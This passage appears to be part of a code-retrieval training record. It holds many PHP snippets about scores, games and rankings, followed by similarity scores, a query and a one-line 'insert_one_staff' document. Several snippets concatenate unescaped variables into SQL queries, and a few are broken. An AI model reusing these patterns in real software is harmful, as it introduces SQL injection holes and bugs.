term.term\"\r\n .\" where subject.name='$subject'\"\r\n .\" AND school.id='{$this->id}'\"\r\n .\" AND term.name= '$exam'\"\r\n .\" AND stream.name='$stream'\"\r\n .\" AND grade.name= '$grade'\";\r\n }", "public function score($id)\n {\n if (Auth::guard('admin')->check()) {\n $matches = DB::select('SELECT (SELECT t.name FROM teams t WHERE t.id = m.team_a) as team_a,\n (SELECT t.name FROM teams t WHERE t.id = m.team_b) as team_b, m.id\n FROM matches m JOIN events e ON m.event_id = e.id\n WHERE m.id = ' . $id);\n // \\dd($matches);\n return \\view('admin.match.score', \\compact('matches'));\n } else {\n return Redirect('login')->with('msg', 'Anda harus login'); //routing login\n } \n }", "public function games()\n {\n return $this->belongsToMany('DashboardersHeaven\\Game')\n ->withPivot([\n 'earned_achievements',\n 'current_gamerscore',\n 'max_gamerscore',\n 'last_unlock'\n ])\n ->withTimestamps();\n }", "function save_score($player) {\n if ($player->score >= 0 && $player->level != '1-1') {\n $result = mysql_query(\"select * from spelunky_scores \" .\n \" where scores_players_id = \" . $player->steamid . \n \" and scores_date = date('\" . date('Y-m-d') . \"')\");\n\n if (! ($row = mysql_fetch_array($result))) {\n $insert = \"insert into spelunky_scores (\" . \n \"scores_id, \" . \n \"scores_players_id, \" .\n \"scores_date, \" . \n \"scores_score, \" . \n \"scores_level, \" .\n \"scores_character, \" .\n \"scores_twitch) values (\" . \n \"null, \" .\n $player->steamid . \", \" .\n \"date('\" . date('Y-m-d') . \"'), \" . \n $player->score . \", \" .\n \"'\" . $player->level . \"', \" .\n $player->character . \", \" . \n \"'\" . trim($player->twitch) . \"')\";\n\n mysql_query($insert);\n }\n }\n }", "public function players()\n {\n return $this->belongsToMany(\n 'App\\User',\n 'players',\n 'game_id',\n 'user_id'\n )->withPivot('position');\n }", "public function getSelectedRankingpos($idRanking, $arrIdPlayers) {\n $em = $this->getEntityManager();\n $sql = '\n SELECT idplayer, position, score, date \n FROM RankingPosDouble RP, RankingDouble R \n WHERE R.id=RP.idRankingDouble\n AND R.id=:idRanking \n AND RP.idPlayer IN ('.implode(\",\", $arrIdPlayers).') \n ORDER BY score DESC \n ';\n\n\n $stmt = $em->getConnection()->prepare($sql);\n $stmt->execute(['idRanking' => $idRanking]);\n $RP = $stmt->fetchAll();\n //echo count($RP).\" rankings found;\";\n\n return $RP;\n\n\n }", "public function index()\n {\n\n // $userscores = [];\n\n //$topUsers = [];\n //$users = User::findOrFail(1);\n\n $topScores = DB::table('scores')\n ->join('users', 'users.id', '=', 'scores.user_id')\n ->select('users.*', 'scores.*')\n ->where('scores.score_number', '<=', '100')\n ->where('scores.score_number', '>=', '0')\n ->groupBy('scores.user_id')\n ->selectRaw( \"round(avg( score_number ), 2) as score_number, scores.user_id\" )\n ->orderBy('score_number', 'desc')\n ->take(3)\n ->get();\n\n //$avg = $topScores->sum(\"score_number\")/$topScores->count();\n\n $currentLoggedIn = round(DB::table('scores')\n ->select('score_number')\n ->where('user_id', Auth::user()->id)\n ->where('score_number', '<=', '100')\n ->where('score_number', '>=', '0')\n ->avg('score_number'), 2);\n\n return view('home')\n ->with('currentLoggedIn', $currentLoggedIn)\n ->with('topScores', $topScores);\n }", "public function scores() {\n\n\t\treturn $this->hasMany('App\\EvaluationScore', 'evaluation_id', 'evaluation_id');\n\t}", "public function index()\n {\n $numGames = count(Games::all());\n if (Auth::user()->is_admin != 0) {\n //get the number of picks per user\n $sql = \"select * from users join (select userid, count(userid) as picks from game_picks group by userid) as gp on gp.userid = users.id\";\n $user = DB::select(DB::raw($sql));\n //dd($user);\n } else {\n $user = User::all();\n }\n\n\n\n \n //dd($user);\n return view('user.index', compact('user','numGames'));\n }", "public function get_scores()\n {\n return [\n 'team1' => $this->score_team_1,\n 'team2' => $this->score_team_2\n ];\n }", "function GetListGames()\n{\n $dbh = ConnectDB();\n $req = $dbh->query(\"SELECT idGame, LakeFishesGame, LakeReproductionGame, PondReproductionGame, EatFishesGame, FirstPlayerGame, TourGame, SeasonTourGame, MaxPlayersGame, MaxReleaseGame, DescriptionType, (SELECT COUNT(idPlace) FROM fishermenland.place WHERE fkGamePlace = idGame) AS OccupedPlaces\n FROM fishermenland.game\n INNER JOIN fishermenland.type ON game.fkTypeGame = type.idType GROUP BY idGame\");\n\n return $req;\n}", "function stream_results(){\r\n // \r\n //Get all the subjects that this student is taught \r\n $subjects= $this->get_student($stream, $grade, $year);\r\n //\r\n $sql= \"select student.name as name\";\r\n // \r\n //Appends every subjects name\r\n foreach ($subjects as $value) {\r\n //\r\n $sql.\"{$value}.score as $value\"; \r\n }\r\n \r\n }", "function get_team_player_pitching_stats($year,$team_id) {\n global $db;\n $query = 'SELECT concat(players.first_name, \" \", players.last_name) AS player\n , g\n , gs\n , ip\n , ab\n , ha\n , k\n , bb\n , bf\n , war\n , k9\n , bb9\n , HR9\n , WHIP\n , `K/BB`\n , BABIP\n , ERA\n , FIP\n , xFIP\n , ERAminus\n , ERAplus\n , FIPminus\n , CalcPitching.player_id\n\n\n FROM CalcPitching INNER JOIN players ON CalcPitching.player_id = players.player_id\n\n WHERE year = :year AND CalcPitching.team_id = :team_id\n ORDER BY gs DESC, players.last_name';\n $statement = $db->prepare($query);\n $statement->bindValue(':year', $year);\n $statement->bindValue(':team_id', $team_id);\n $statement->execute();\n $pitchers = $statement->fetchAll();\n $statement->closeCursor();\n return $pitchers;\n}", "function getCategories() {\n $db = connect_db();\n $sql = 'SELECT * FROM scores INNER JOIN match_users ON scores.userid = match_users.userid';\n $stmt = $db->prepare($sql);\n $stmt->execute();\n $categories = $stmt->fetchAll();\n $stmt->closeCursor();\n return $categories;\n}", "private function getMCscores()\n {\n return Teacher::join('mc_score', 'teacher.short_name', '=', 'mc_score.short_name')\n ->get();\n }", "public function get_scores() {\n return $this->pascores;\n }", "public function getScores() {\n\t\treturn $this->scores;\n\t}", "public function displayScores() {\n SJTTournamentTools::getInstance()->getServer()->broadcastMessage('Scores for recent game of Parkour are...');\n\n foreach ($this->scores as $playerName => $playerScores) {\n\t\t\t$score = 0;\n\t\t\tforeach ($playerScores as $location => $value) {\n\t\t\t\t$score += $value;\n\t\t\t}\n\n SJTTournamentTools::getInstance()->getServer()->broadcastMessage($playerName . ' scored ' . $score);\n\t\t}\n }", "public function ListAverage()\n {\n $user = DB::table('games')\n ->select(DB::raw('idUser , avg(score) as avg_score'))\n ->groupby('idUser')\n ->get();\n\n return response()->json(\n $user\n ,\n 202\n );\n }", "public function scores($id){\n\t\t$user_id = Auth::user()->id;\n\n\t\t$quiz_schedule = QuizSchedule::find($id);\n\n\t\tif($quiz_schedule->user_id != $user_id){\n\t\t\treturn Redirect::to('/finished')\n\t\t\t\t->with('message', array('type' => 'danger', 'text' => 'You do not have the permission to view scores for this quiz.'));\n\t\t}\n\n\t\t$quiz = Quiz::find($quiz_schedule->quiz_id);\n\n\t\t$quiz_item_count = DB::table('quiz_items')\n\t\t\t->where('quiz_id', '=', $quiz_schedule->quiz_id)\n\t\t\t->count();\n\n\t\t$class = DB::table('classes')\n\t\t\t->where('id', '=', $quiz_schedule->class_id)\n\t\t\t->first();\n\n\t\t$scores = DB::table('student_quizzes')\n\t\t\t->where('quiz_schedule_id', '=', $id)\n\t\t\t->lists('score', 'student_id');\n\n\t\t$students = DB::table('students')\n\t\t\t->join('student_classes', 'students.id', '=', 'student_classes.student_id')\n\t\t\t->select('students.id', 'last_name', 'first_name', 'middle_initial')\n\t\t\t->where('student_classes.class_id', '=', $class->id)\n\t\t\t->orderBy('gender', 'DESC')\n\t\t\t->orderBy('last_name', 'ASC')\n\t\t\t->get();\n\n\t\t$student_scores = array();\n\n\t\tforeach($students as $student){\n\n\t\t\t$score = '';\n\t\t\n\t\t\tif(isset($scores[$student->id])){\n\t\t\t\t$score = $scores[$student->id];\n\t\t\t}\n\n\t\t\t$student_scores[] = array(\n\t\t\t\t'id' => $student->id,\n\t\t\t\t'last_name' => $student->last_name,\n\t\t\t\t'first_name' => $student->first_name,\n\t\t\t\t'middle_initial' => $student->middle_initial,\n\t\t\t\t'score' => $score\n\t\t\t);\n\n\t\t}\n\n\t\t\n\t\t$page_data = array(\n\t\t\t'class' => $class,\n\t\t\t'quiz' => $quiz,\n\t\t\t'quiz_item_count' => $quiz_item_count,\n\t\t\t'quiz_schedule' => $quiz_schedule,\n\t\t\t'student_scores' => $student_scores\n\t\t);\n\n\t\t$this->layout->title = 'Scores in ' . $quiz->title;\n\t\t$this->layout->content = View::make('admin.scores', $page_data);\n\n\t}", "function ShowInfoGames($idGame)\n{\n $dbh = ConnectDB();\n $req = $dbh->query(\"SELECT idGame, LakeFishesGame, LakeReproductionGame, PondReproductionGame, EatFishesGame, FirstPlayerGame, TourGame, SeasonTourGame, MaxPlayersGame, MaxReleaseGame, DescriptionType, (SELECT COUNT(idPlace) FROM fishermenland.place WHERE fkGamePlace = idGame) AS OccupedPlaces, (SELECT SUM(PondFishesPlace) FROM fishermenland.place WHERE fkGamePlace = idGame) AS SumPondFishes\n FROM fishermenland.game\n INNER JOIN fishermenland.type ON game.fkTypeGame = type.idType WHERE idGame = '$idGame'\");\n\n return $req;\n}", "function retrieveSubmissionGrades($submit_id)\n{\n global $CFG, $PDOX;\n if ( $submit_id === false ) return false;\n $grades_received = $PDOX->allRowsDie(\n \"SELECT grade_id, points, note, displayname, email, rating\n FROM {$CFG->dbprefix}peer_grade AS G\n JOIN {$CFG->dbprefix}lti_user as U\n ON G.user_id = U.user_id\n WHERE G.submit_id = :SID\n ORDER BY points DESC\",\n array( ':SID' => $submit_id)\n );\n return $grades_received;\n}", "function player_stat_columns($ruleset_id = 0) {\n // TODO - DONE change to db_query, add naming column of form 'ps' & scid\n $result = db_query('SELECT scid, stat_name, short_name, spp_value, CONCAT(\\'ps\\',scid) AS player_column FROM bbl_stat_columns WHERE ruleset_id = :ruleset_id ORDER BY scid', array(':ruleset_id' => $ruleset_id));\n\n $return = array();\n \n // Change the array so that keys are scid column values with 'ps' prefix\n foreach ($result as $col) {\n $row = (array) $col;\n $return[$col->player_column] = $col;\n }\n \n return $return;\n}", "public function getUsersForRewardRanking() {\n // create reward ranking query\n $reward_ranking_query = Doctrine_Query::create()\n ->from('sfGuardUserProfile sgup')\n ->leftJoin('sgup.User sgu')\n ->where('sgup.money_sum > 0')\n ->andWhere('sgu.is_disabled <> 1')\n ->andWhere('sgu.is_active = 1')\n ->groupBy('sgu.username')\n ->orderBy('sgup.money_sum DESC, sgu.username ASC');\n \n return $reward_ranking_query;\n }", "function ros_get_users_of_one_instance($roshineid)\n{\n global $DB, $CFG;\n $params = array();\n $toreturn = array();\n $gradestblname = $CFG->prefix.\"roshine_grades\";\n $userstblname = $CFG->prefix.\"user\";\n $sql = \"SELECT DISTINCT \".$userstblname.\".firstname, \".$userstblname.\".lastname, \".$userstblname.\".id\".\n \" FROM \".$gradestblname.\n \" LEFT JOIN \".$userstblname.\" ON \".$gradestblname.\".userid = \".$userstblname.\".id\".\n \" WHERE (roshine=\".$roshineid.\")\";\n if ($grades = $DB->get_records_sql($sql, $params)) {\n return $grades;\n }\n return false;\n}", "public function index()\n {\n $input[\"player_game_id\"] = request()->get(\"player_game_id\");\n $input[\"user_id\"] = request()->get(\"user_id\");\n\n if($his = Score::where(\"player_game_id\",$input[\"player_game_id\"])->where(\"user_id\",$input[\"user_id\"])->get()){\n $data = ApiRes::$success;\n $data[\"data\"] = $his;\n }\n else{\n $data = ApiRes::$error;\n $data[\"message\"] = \"not found\";\n }\n\n return response()->json($data);\n }", "function get_ml_fielding_stats($player_id) {\n global $db;\n $query = 'SELECT f.player_id,\n f.year,\n f.year - YEAR(p.date_of_birth) AS age,\n f.team_id,\n f.league_id,\n l.abbr as league,\n f.level_id,\n f.split_id,\n po.pos_name,\n f.tc,\n f.a,\n f.po,\n f.er,\n f.ip,\n f.g,\n f.gs,\n f.e,\n f.dp,\n f.tp,\n f.pb,\n f.sba,\n f.rto,\n f.ipf,\n f.plays,\n f.plays_base,\n f.roe,\n f.opps_0,\n f.opps_made_0,\n f.opps_1,\n f.opps_made_1,\n f.opps_2,\n f.opps_made_2,\n f.opps_3,\n f.opps_made_3,\n f.opps_4,\n f.opps_made_4,\n f.opps_5,\n f.opps_made_5,\n f.zr,\n concat(p.first_name,\" \",p.last_name) AS player\n , t.name as city\n , t.nickname\n , t.abbr\n FROM players_career_fielding_stats f INNER JOIN players p ON\n f.player_id = p.player_id\n INNER JOIN teams t ON f.team_id = t.team_id\n INNER JOIN positions po ON f.position = po.position\n INNER JOIN leagues l ON f.league_id = l.league_id\n WHERE f.level_id = 1 AND f.player_id = :player_id\n ORDER BY f.year, t.abbr, po.pos_name';\n $statement = $db->prepare($query);\n $statement->bindValue(':player_id', $player_id);\n $statement->execute();\n $ml_fielding_stats = $statement->fetchAll();\n $statement->closeCursor();\n return $ml_fielding_stats;\n}", "function getUserInfoFromDb($id){\n\t$conn = DbTools::getDBConnect('dota');\n\tif (isset($trend)){\n\t\t$sql_part = \" AND trend = $trend\";\n\t}\n\telse{\n\t\t$sql_part = \"\";\n\t}\n\t$res = $conn->query(\"SELECT id,uname,score,rank,win,lose,trend FROM dota.user_info \".\n\t\t\"WHERE id = $id\".$sql_part);\n\tif (false === $res){\n\n\t}\n\treturn $res[0];\n}", "function CheckRank()\n{\n $dbh = ConnectDB();\n $req = $dbh->query(\"SELECT AVG(ScoreHistory) AS AVGScoreHistory, fkPlayerHistory FROM fishermenland.history GROUP BY fkPlayerHistory ASC HAVING COUNT(fkPlayerHistory) >= (SELECT ValueInt FROM fishermenland.settings WHERE NameSettings = 'NeededGameToRank')\");\n\n return $req;\n}", "public function getLeaderboardTableData()\n {\n $data = [];\n $categories = ['bohurts','profights', 'sword_shield', 'sword_buckler', 'longswords', 'polearm', 'triathlon'];\n foreach ($categories as $category){\n $data[$category] = (array)$this->fighter->getMaxPointsPerCategory($category);\n $data[$category]['category'] = $category;\n }\n\n $data = array_map(function($data){\n return[\n 'id' => $data['id'],\n 'club' => $data['club'],\n 'image' => $data['image'],\n 'fb_image' => $data['facebook_picture'],\n 'created_at' => $data['created_at'],\n 'name' => $data['name'],\n 'max_points' => $data['max_points'],\n 'category' => ucfirst(str_replace('_',' ',$data['category']))\n ];\n },$data);\n\n $data['The Rock'] = $this->fighter->getBestBohurtStandingRatio();\n $data['The Rock']->fb_picture = $data['The Rock']->facebook_picture;\n unset($data['The Rock']->facebook_picture);\n $data['The Rock']->max_points = substr($data['The Rock']->max_points,0,2).' %';\n $data['The Rock']->category = 'The Rock';\n\n return $this->respond($data);\n }", "function loadPos($pdo, $profile_id) {\n $stmt = $pdo->prepare('SELECT * FROM Position \n WHERE profile_id = :prof ORDER BY rank');\n $stmt->execute(array( ':prof' => $profile_id));\n $positions = array();\n while ( $row = $stmt->fetch(PDO::FETCH_ASSOC) ) {\n $positions[] = $row;\n }\n return $positions;\n}", "function getTeamById($teamId){\r\n //$GLOBALS['link'] = connect();\r\n $res = mysqli_query($GLOBALS['link'], 'select id`, `name`, `score` from teams where `id`='. $teamId .';');\r\n\r\n return fetch_result($res);\r\n}", "public function getHighScoresRows(){\n $rank = 1;\n $listContent = \"\";\n $highScores = $this->_getHighScores();\n\n foreach ($highScores as $oneScore){\n $listContent .= \"<tr>\n <td>\" . $rank . \"</td>\n <td>\" . htmlentities($oneScore->playerName). \"</td>\n <td>\" . htmlentities($oneScore->completionTime) . \"</td>\n <td>\" . htmlentities($oneScore->difficulty) . \"</td>\n </tr>\";\n\n $rank++;\n }\n\n return $listContent;\n }", "public function index()\n {\n return AchievementResource::collection(Achievement::with('students:id,full_name,nisn')->get());\n }", "public function getScoreBoardData() {\n $participations = $this->participations;\n foreach ($participations as $p) {\n $p->final_points = $p->user->score($this);\n $p->final_latest_submit = $p->user->getLatestSubmitTime($this);\n }\n // $participations = $participations\n // ->sortBy('final_latest_submit')\n // ->sortByDesc('final_points');\n\n\n $participations = $participations->sort(function($a, $b) {\n if($a->final_points === $b->final_points) {\n if($a->final_latest_submit === $b->final_latest_submit) {\n return 0;\n }\n return $a->final_latest_submit < $b->final_latest_submit ? -1 : 1;\n } \n return $a->final_points < $b->final_points ? 1 : -1;\n });\n\n $i = 1;\n foreach ($participations as $p) {\n $p->final_position = $i++;\n }\n\n return $participations;\n }", "public static function show($id) {\n $player = Player::find($id);\n $moderatorOf = Course::find_by_moderator($id);\n $course = Course::find($player->course);\n $scores = Score::find_by_player($player->id);\n foreach($scores as $score) {\n $score->round = Round::find($score->roundId);\n }\n // $rounds = Round::find_by_player($player->id);\n // Kint::dump($rounds);\n View::make('player/show.html', array('player' => $player, 'scores' => $scores, 'moderatorOf' => $moderatorOf, 'course' => $course));\n }", "public function getPlayers()\n {\n return $this->hasMany(Player::className(), ['id' => 'player_id'])\n ->viaTable('game_has_player', ['game_id' => 'id'])\n ->select('*, (SELECT presence FROM game_has_player WHERE game_id='.$this->id.' AND player_id=players.id LIMIT 1) as presence');\n }", "public function insertUserScore($quizID, $points){\n\t\treturn $this->db->insertUserScore($quizID, $points);\n\t}", "function get_by_game($game_id)\n {\n return $this->db->query('SELECT victory_conditions.*, players.faction FROM victory_conditions '\n . 'JOIN players on players.player_id=victory_conditions.player_id '\n . 'WHERE victory_conditions.game_id='.$game_id\n . '')->result();\n }", "function galaxy_show_ranking_player() {\n\tglobal $db;\n\tglobal $pub_order_by, $pub_date, $pub_interval;\n\n\tif (!isset($pub_order_by)) {\n\t\t$pub_order_by = \"general\";\n\t}\n\tif ($pub_order_by != \"general\" && $pub_order_by != \"fleet\" && $pub_order_by != \"research\") {\n\t\t$pub_order_by = \"general\";\n\t}\n\n\tif (!isset($pub_interval)) {\n\t\t$pub_interval = 1;\n\t}\n\tif (($pub_interval-1)%100 != 0 || $pub_interval > 1401) {\n\t\t$pub_interval = 1;\n\t}\n\t$limit_down = $pub_interval;\n\t$limit_up = $pub_interval + 99;\n\n\t$order = array();\n\t$ranking = array();\n\t$ranking_available = array();\n\n\tswitch ($pub_order_by) {\n\t\tcase \"general\":\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_POINTS, \"arrayname\" => \"general\");\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_FLEET, \"arrayname\" => \"fleet\");\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_RESEARCH, \"arrayname\" => \"research\");\n\t\tbreak;\n\t\tcase \"fleet\":\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_FLEET, \"arrayname\" => \"fleet\");\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_POINTS, \"arrayname\" => \"general\");\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_RESEARCH, \"arrayname\" => \"research\");\n\t\tbreak;\n\t\tcase \"research\":\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_RESEARCH, \"arrayname\" => \"research\");\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_POINTS, \"arrayname\" => \"general\");\n\t\t$table[] = array(\"tablename\" => TABLE_RANK_PLAYER_FLEET, \"arrayname\" => \"fleet\");\n\t\tbreak;\n\t}\n\t$i=0;\n\n\tif (!isset($pub_date)) {\n\t\t$request = \"select max(datadate) from \".$table[$i][\"tablename\"];\n\t\t$result = $db->sql_query($request);\n\t\tlist($last_ranking) = $db->sql_fetch_row($result);\n\t}\n\telse $last_ranking = $pub_date;\n\n\t$request = \"select rank, player, ally, points, username\";\n\t$request .= \" from \".$table[$i][\"tablename\"].\" left join \".TABLE_USER;\n\t$request .= \" on sender_id = user_id\";\n\t$request .= \" where rank between \".$limit_down.\" and \".$limit_up;\n\t$request .= isset($last_ranking) ? \" and datadate = \".mysql_real_escape_string($last_ranking) : \"\";\n\t$request .= \" order by rank\";\n\t$result = $db->sql_query($request);\n\n\twhile (list($rank, $player, $ally, $points, $username) = $db->sql_fetch_row($result)) {\n\t\t$ranking[$player][$table[$i][\"arrayname\"]] = array(\"rank\" => $rank, \"points\" => $points);\n\t\t$ranking[$player][\"ally\"] = $ally;\n\t\t$ranking[$player][\"sender\"] = $username;\n\n\t\tif ($pub_order_by == $table[$i][\"arrayname\"]) {\n\t\t\t$order[$rank] = $player;\n\t\t}\n\t}\n\n\t$request = \"select distinct datadate from \".$table[$i][\"tablename\"].\" order by datadate desc\";\n\t$result_2 = $db->sql_query($request);\n\twhile ($row = $db->sql_fetch_assoc($result_2)) {\n\t\t$ranking_available[] = $row[\"datadate\"];\n\t}\n\n\tfor ($i ; $i<3 ; $i++) {\n\t\treset($ranking);\n\t\twhile ($value = current($ranking)) {\n\t\t\t$request = \"select rank, player, ally, points, username\";\n\t\t\t$request .= \" from \".$table[$i][\"tablename\"].\" left join \".TABLE_USER;\n\t\t\t$request .= \" on sender_id = user_id\";\n\t\t\t$request .= \" where player = '\".mysql_real_escape_string(key($ranking)).\"'\";\n\t\t\t$request .= isset($last_ranking) ? \" and datadate = \".mysql_real_escape_string($last_ranking) : \"\";\n\t\t\t$request .= \" order by rank\";\n\t\t\t$result = $db->sql_query($request);\n\n\t\t\twhile (list($rank, $player, $ally, $points, $username) = $db->sql_fetch_row($result)) {\n\t\t\t\t$ranking[$player][$table[$i][\"arrayname\"]] = array(\"rank\" => $rank, \"points\" => $points);\n\t\t\t\t$ranking[$player][\"ally\"] = $ally;\n\t\t\t\t$ranking[$player][\"sender\"] = $username;\n\n\t\t\t\tif ($pub_order_by == $table[$i][\"arrayname\"]) {\n\t\t\t\t\t$order[$rank] = $player;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tnext($ranking);\n\t\t}\n\t}\n\n\t$ranking_available = array_unique($ranking_available);\n\n\treturn array($order, $ranking, $ranking_available);\n}", "public function index()\n {\n $scores = Scores::all();\n\n return view('pages.displayScores')->withScores($scores);\n }", "function getOverallRankings ($gameId) {\n\tglobal $bdd;\n\t$req = $bdd->prepare('\n\t\tSELECT (\n\t\t\tSELECT login\n\t\t\tFROM joueurs\n\t\t\tWHERE id_joueur = i.joueur\n\t\t\tLIMIT 1\n\t\t) AS name, i.joueur as joueur, (\n SELECT count(*)\n\t\t\tFROM infos_flashs\n\t\t\tWHERE i.joueur = joueur AND i.partie = partie AND nbpoints IS NOT NULL\n\t\t) AS score\n\t\tFROM inscriptions i\n\t\tWHERE partie = :game_id\n\t\tGROUP BY joueur, name\n\t\tORDER BY score DESC;\n\t');\n\t$req->execute(array(\n\t\t'game_id' => $gameId\n\t));\n\t$rankings = array();\n\twhile ($row = $req->fetch()) {\n\t\t$rankings[] = array(\n\t\t\t'name' => $row['name'],\n\t\t\t'score' => strval($row['score']),\n\t\t\t'team' => intval(getEquipeJoueurPartieActive($gameId, $row['joueur']))\n\t\t);\n\t}\n\treturn $rankings;\n}", "function questionnaire_get_user_grades($questionnaire, $userid=0) {\n global $DB;\n $params = array();\n $usersql = '';\n if (!empty($userid)) {\n $usersql = \"AND u.id = ?\";\n $params[] = $userid;\n }\n\n $sql = \"SELECT a.id, u.id AS userid, r.grade AS rawgrade, r.submitted AS dategraded, r.submitted AS datesubmitted\n FROM {user} u, {questionnaire_attempts} a, {questionnaire_response} r\n WHERE u.id = a.userid AND a.qid = $questionnaire->id AND r.id = a.rid $usersql\";\n return $DB->get_records_sql($sql, $params);\n}", "function getPostInfo($pdo) {\n $statement = $pdo->prepare(\"SELECT posts.*, users.*,\n\t(SELECT sum(vote_dir) FROM votes\n WHERE posts.post_id=votes.post_id)\n\tAS score\n\tFROM posts\n JOIN votes ON posts.post_id=votes.post_id\n JOIN users ON posts.user_id=users.id\n\tGROUP BY posts.post_id\n\tORDER BY post_id DESC\");\n\n $statement->execute();\n $getPostInfo = $statement->fetchAll(PDO::FETCH_ASSOC);\n\n if (!$statement) {\n die(var_dump($pdo->errorInfo()));\n }\n\n return $getPostInfo;\n}", "function plg_ImportRanking_player( $ranktable, $timestamp, $rank, $player, $ally, $points){\r\n\t global $db, $user_data, $server_config, $log_sql_errors;\r\n\t\t$request = \"insert into \".$ranktable;\r\n\t\t$request .= \" (datadate, rank, player, ally, points, sender_id)\";\r\n\t\t$request .= \" values (\".$timestamp.\", \".$rank.\" , '\".mysql_real_escape_string($player).\"', '\".mysql_real_escape_string($ally).\"', \".$points.\", \".$user_data[\"user_id\"].\")\";\r\n\t\t$db->sql_query($request, false, $log_sql_errors);\r\n\t\treturn $db; // utiles ???\r\n}", "public function getScoreRecordListList(){\n return $this->_get(2);\n }", "function showGames()\n{\n $email = trim($_SESSION['login']);\n $dbEmail = R::getAll(\"SELECT * FROM users WHERE email = '$email'\");\n if (!empty($dbEmail)) {\n $user_id = $dbEmail[0]['id'];\n $games = R::getAll(\"SELECT * FROM games WHERE `user_id` = '$user_id'\");\n if (!empty($games)) {\n echo \"<table class='games'>\";\n echo \"<thead><tr>\n <td>#</td>\n <td>Cas hry</td>\n <td>Data hry</td>\n </tr></thead>\";\n $count = 1;\n foreach ($games as $game) {\n echo \"<tr>\n <td>\" . $count . \"</td>\";\n echo \"<td>\" . $game['time'] . \"</td>\";\n echo \"<td>\" . $game['data'] . \"</td>\";\n echo \"</tr>\";\n $count++;\n }\n echo \"</table>\";\n } else {\n echo \"No games yet!\";\n }\n }\n}", "public function get_calibration_scores() {\n if (!isset($this->scores)) {\n global $DB;\n $this->scores = $DB->get_records_menu('workshep_calibration', array(\"workshepid\" => $this->workshep->id), '', 'userid, score');\n }\n return $this->scores;\n }", "public function getAllAutoRefreshPlayers()\n {\n return Player::whereHas('dataPoints')->get();\n }", "function get_standing_team_db($idSeason)\n{\n require('./model/connect_db.php');\n $sql = \"select t.idTeam, t.nameTeam, sum(r.Points) as points from team t, race r, season s where r.idTeam = t.idTeam and s.idseason = '%d' and s.idseason = r.idseason group by t.nameTeam order by points desc \";\n $request = sprintf($sql,$idSeason);\n $result = mysqli_query($link,$request) or die(utf8_encode(\"request error\") . $request);\n $standing = array();\n while($line = mysqli_fetch_assoc($result) and isset($line))\n {\n $standing[] = $line;\n }\n return $standing;\n}", "public function index()\n {\n //obtengo los ultimos 5 juegos del usuario\n //ordenado descendentemente\n\n $scores = auth()->user()->scores->sortDesc()->take(5);\n return view('score.index')->with('scores',$scores);\n }", "public function query()\n {\n $query = DB::table('historics')\n ->leftJoin('games', 'games.id', '=', 'historics.game_id')\n ->leftJoin('boxes', 'boxes.id', '=', 'historics.box_id')\n ->leftJoin('workers', 'workers.id', '=', 'historics.worker_id')\n ->leftJoin('users', 'users.id', '=', 'workers.user_id')\n ->select(\n DB::raw('games.name as game_name'),\n DB::raw('boxes.code as box_code'),\n DB::raw('users.name as worker_name'),\n DB::raw('historics.played_at as game_played_at'),\n DB::raw('historics.is_payed as is_payed'),\n DB::raw('historics.players_number as players_number'),\n DB::raw('worker_id as historics_worker_id'),\n DB::raw('game_id as historics_game_id'),\n DB::raw('box_id as historics_box_id'),\n 'price'\n );\n\n return $this->applyScopes($query);\n }", "function getAllScores()\n\t{\n\t\treturn array(\n\t\t\tself::SCORE_NOT_SCORED =>\n\t\t\t\tself::getScoreText(\n\t\t\t\tself::SCORE_NOT_SCORED),\n\t\t\tself::SCORE_FAILED =>\n\t\t\t\tself::getScoreText(\n\t\t\t\tself::SCORE_FAILED),\n\t\t\tself::SCORE_PASSED =>\n\t\t\t\tself::getScoreText(\n\t\t\t\tself::SCORE_PASSED)\n\t\t);\n\t}" ]
[ "0.6811333", "0.61994", "0.6098801", "0.58703226", "0.57878083", "0.57602865", "0.57115644", "0.56919664", "0.5658744", "0.56326944", "0.56109494", "0.5591835", "0.5538121", "0.5521449", "0.55121595", "0.5506633", "0.54980314", "0.5488794", "0.547878", "0.5452249", "0.54482234", "0.5416998", "0.54084855", "0.54036456", "0.5400159", "0.53889304", "0.5385457", "0.537625", "0.5352889", "0.53491694", "0.53308845", "0.5330371", "0.5329972", "0.5324488", "0.53221685", "0.5321075", "0.53206325", "0.5308411", "0.5303113", "0.5302334", "0.52829295", "0.5259151", "0.5251015", "0.5240763", "0.5240437", "0.5218354", "0.52130175", "0.52128845", "0.5199481", "0.5198014", "0.51977974", "0.5184266", "0.51830864", "0.5171575", "0.51651114", "0.51442647", "0.5142104", "0.5140727", "0.5135895", "0.51352894", "0.51336104", "0.5133014", "0.51276106", "0.5120071", "0.51116925", "0.510527", "0.50980806", "0.50690824", "0.50627166", "0.5061946", "0.5046161", "0.50241566", "0.50187236", "0.5016141", "0.5000078", "0.49923605", "0.49821913", "0.49777514", "0.49747562", "0.49731424", "0.49686497", "0.49685785", "0.4960578", "0.49556476", "0.49510413", "0.49489564", "0.49474686", "0.49433506", "0.49378505", "0.49375367", "0.49330807", "0.49209288", "0.49132714", "0.49128425", "0.48990694", "0.48945847", "0.48917073", "0.4883283", "0.48827735", "0.48806164" ]
0.6006908
3
public static function insert_one_staff($chrID, $name, $id, $auth, $pass)
public static function insert_one_staff() { return parent::insert_to_columns(func_get_args()); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
